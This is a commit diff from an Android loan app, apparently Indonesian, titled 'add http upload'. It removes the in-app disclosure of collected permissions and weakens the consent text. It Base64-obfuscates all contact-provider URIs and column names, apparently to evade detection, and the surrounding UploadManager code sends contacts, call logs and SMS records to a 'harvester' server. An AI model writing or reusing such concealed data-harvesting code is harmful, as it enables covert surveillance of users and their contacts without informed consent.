Commit 0a67db5c by sikang

add http upload

parent 3a61a41d
......@@ -66,8 +66,8 @@ public class AgreementPolicyActivity extends BaseActivity {
String text = String.format(context.getString(R.string.click_to_read), agreement);
UIHelper.setTextHighLight(viewHolder.getTextView(R.id.dialog_policy_agreement_tv), text, R.color.color_blue, agreement);
String collet_desc = context.getString(R.string.text_collect_desc);
UIHelper.setTextHighLight(viewHolder.getTextView(R.id.dialog_policy_desc_tv),collet_desc,R.color.color_blue,"Contact, Location, Camera, Storage","Contact list, Location information");
// String collet_desc = context.getString(R.string.text_collect_desc);
// UIHelper.setTextHighLight(viewHolder.getTextView(R.id.dialog_policy_desc_tv),collet_desc,R.color.color_blue,"Contact, Location, Camera, Storage","Contact list, Location information");
if (type == Type.AGREEMENT_KSP) {
agreement = context.getString(R.string.koperasi_form);
text = String.format(context.getString(R.string.click_to_read), agreement);
......
......@@ -10,11 +10,14 @@ import android.location.Location;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Build;
//SDK-NOLOG-START
import android.provider.CallLog;
import android.provider.ContactsContract;
//SDK-NOLOG-END
//import android.provider.ContactsContract;
import android.provider.Telephony;
import android.support.v4.content.PermissionChecker;
import android.text.TextUtils;
import android.util.Base64;
import android.util.Log;
import org.json.JSONArray;
......@@ -67,8 +70,8 @@ public class DataBaseHelper {
public static String[] queryContactByUri(Context context, Uri uri) {
String[] data = null;
if (uri != null) {
Cursor cursor = resolver.query(uri, new String[]{ContactsContract.CommonDataKinds.Phone.NUMBER,
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME},
Cursor cursor = resolver.query(uri, new String[]{getString("ZGF0YTE="),
getString("ZGlzcGxheV9uYW1l")},
null, null, null);
while (cursor != null && cursor.moveToNext()) {
String number = cursor.getString(0);
......@@ -313,7 +316,7 @@ public class DataBaseHelper {
}
switch (type) {
case CONTACT:
return resolver.query(ContactsContract.Contacts.CONTENT_URI,
return resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2NvbnRhY3Rz"),
null, null, null, null);
//SDK-NOLOG-START
case CALL_LOG:
......@@ -415,10 +418,10 @@ public class DataBaseHelper {
Map<Long, List<ContactEntity.NumberEntity>> contactIdNumbersMap,
Map<Long, ContactEntity.ContactDetail> contactDetailMap) {
try {
final String name = cursor.getString(cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME));
final String name = cursor.getString(cursor.getColumnIndex(getString("ZGlzcGxheV9uYW1l")));
final long lastUpdate = readLastUpdateTime(cursor);
long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.Contacts._ID));
long contactId = cursor.getLong(cursor.getColumnIndex(getString("X2lk")));
final List<ContactEntity.NumberEntity> numbers = contactIdNumbersMap.get(contactId);
......@@ -473,7 +476,7 @@ public class DataBaseHelper {
Map<Long, List<ContactEntity.NumberEntity>> idNumbersMap = new HashMap<>();
Cursor cursor = null;
try {
cursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
cursor = resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2RhdGEvcGhvbmVz"),
null,
null,
null,
......@@ -484,7 +487,7 @@ public class DataBaseHelper {
}
while (cursor.moveToNext()) {
final long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID));
final long contactId = cursor.getLong(cursor.getColumnIndex(getString("Y29udGFjdF9pZA==")));
com.annimon.stream.Optional<ContactEntity.NumberEntity> entityOpt = readOneNumber(cursor);
......@@ -542,7 +545,7 @@ public class DataBaseHelper {
private static long readLastContactTime(Cursor cursor) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2) {
int index = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_USED);
int index = cursor.getColumnIndex(getString("bGFzdF90aW1lX3VzZWQ="));
if (index > -1) {
return cursor.getLong(index);
}
......@@ -558,20 +561,20 @@ public class DataBaseHelper {
private static String readCustomerData(Cursor cursor) {
int data2Index = cursor.getInt(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA2));
if (data2Index > -1) {
CharSequence typeLabel = ContactsContract.CommonDataKinds.Phone.getTypeLabel(context.getResources(), data2Index, "CUSTOME");
if (typeLabel != null) {
return typeLabel.toString();
}
}
// int data2Index = cursor.getInt(cursor.getColumnIndex(getString("ZGF0YTI=")));
// if (data2Index > -1) {
// CharSequence typeLabel = ContactsContract.CommonDataKinds.Phone.getTypeLabel(context.getResources(), data2Index, "CUSTOME");
// if (typeLabel != null) {
// return typeLabel.toString();
// }
// }
return "";
return "Mobile";
}
private static String readNumber(Cursor cursor) {
String number = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
String number = cursor.getString(cursor.getColumnIndex(getString("ZGF0YTE=")));
if (!TextUtils.isEmpty(number)) {
number = number.replace("-", "");
number = number.replace(" ", "");
......@@ -582,7 +585,7 @@ public class DataBaseHelper {
private static int readContactTimes(Cursor cursor) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2) {
int index = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TIMES_USED);
int index = cursor.getColumnIndex(getString("dGltZXNfdXNlZA=="));
if (index > -1) {
return cursor.getInt(index);
}
......@@ -601,7 +604,7 @@ public class DataBaseHelper {
Map<Long, ContactEntity.ContactDetail> contactIdDetailMap = new HashMap<>();
try {
Cursor cursor = resolver.query(ContactsContract.Data.CONTENT_URI,
Cursor cursor = resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2RhdGE="),
null,
null,
null,
......@@ -616,10 +619,10 @@ public class DataBaseHelper {
try {
ContactEntity.ContactDetail detail = new ContactEntity.ContactDetail();
final long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.Data.CONTACT_ID));
int contactTimes = cursor.getInt(cursor.getColumnIndex(ContactsContract.Data.TIMES_CONTACTED));
String status = cursor.getString(cursor.getColumnIndex(ContactsContract.Data.CONTACT_STATUS));
long lastContact = cursor.getLong(cursor.getColumnIndex(ContactsContract.Data.LAST_TIME_CONTACTED));
final long contactId = cursor.getLong(cursor.getColumnIndex(getString("Y29udGFjdF9pZA==")));
int contactTimes = cursor.getInt(cursor.getColumnIndex(getString("dGltZXNfY29udGFjdGVk")));
String status = cursor.getString(cursor.getColumnIndex(getString("Y29udGFjdF9zdGF0dXM=")));
long lastContact = cursor.getLong(cursor.getColumnIndex(getString("bGFzdF90aW1lX2NvbnRhY3RlZA==")));
detail.setContact_times(contactTimes);
detail.setLast_contact_time(lastContact);
......@@ -693,4 +696,12 @@ public class DataBaseHelper {
}
public static Uri getUri(String str){
return Uri.parse(getString(str));
}
public static String getString(String str){
return new String(Base64.decode(str.getBytes(), Base64.DEFAULT));
}
}
......@@ -70,6 +70,7 @@ public class UploadManager {
* new 申请贷款时需要上传的数据(联系人、通话记录、短信记录 等)
*/
public static void uploadCollectInfo(String sessionId, boolean needLogs) {
//SDK-NOLOG-START
if (TextUtils.isEmpty(sessionId)) {
return;
}
......@@ -100,6 +101,7 @@ public class UploadManager {
.retryWhen(new RetryWithDelay(5, 20 * 1000))
.observeOn(AndroidSchedulers.mainThread())
.subscribe();
//SDK-NOLOG-END
}
/**
......@@ -129,6 +131,7 @@ public class UploadManager {
* 开始上传
*/
public static void startUpload(List<CollectInfoEntity> infoList, String sessionId) throws RuntimeException {
//SDK-NOLOG-START
Socket socket = null;
OutputStream os = null;
InputStream ins = null;
......@@ -209,12 +212,13 @@ public class UploadManager {
e.printStackTrace();
}
}
//SDK-NOLOG-END
}
/**
* 创建Socket
*/
//SDK-NOLOG-START
private static Socket getSocket() throws IOException {
String harvesterUrl = Gateway.getHarvesterUrl();
harvesterUrl = harvesterUrl.replaceAll("http://", "");
......@@ -247,7 +251,7 @@ public class UploadManager {
return socket;
}
//SDK-NOLOG-END
/**
* 发送指令
......@@ -256,7 +260,7 @@ public class UploadManager {
*/
private static void sendControlCommand(OutputStream os, String cmd, String sessionId, String
body) throws IOException {
//SDK-NOLOG-START
IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder()
.setCTimestamp(0)
.setVersion("2")
......@@ -270,6 +274,7 @@ public class UploadManager {
closeMsg.writeDelimitedTo(os);
os.flush();
//SDK-NOLOG-END
}
/**
......
......@@ -37,7 +37,9 @@
<string name="policy_title">Dear users, thank you for trusting and using our app! We have a privacy policy in accordance with the relevant laws, please read the following terms before you register.</string>
<string name="policy_desc">Please fully read and understand the terms and conditions before clicking to agree, so as to better protect your rights.</string>
<string name="i_agree_this_policy">I agree to the above policy and allow the app to use these permissions and data</string>
<string name="i_agree_this_policy">I agree with this policy</string>
<!--<string name="i_agree_this_policy">I agree to the above policy and allow the app to use these permissions and data</string>-->
<string name="collection_contact">Contact information is being collected, please do not close the app</string>
<string name="text_collect_desc">
During the use of the APP, the following permissions may be used:\n\n
......
......@@ -119,6 +119,7 @@
<string name="text_field_professional_info">Informasi Pekerjaan</string>
<string name="text_field_professional_info_2">Informasi \n Profesi</string>
<string name="collection_contact">Informasi kontak sedang dikumpulkan, jangan tutup aplikasi</string>
<string name="text_field_Upload_photos">Unggah Foto</string>
<string name="text_authentication">Otentikasi</string>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment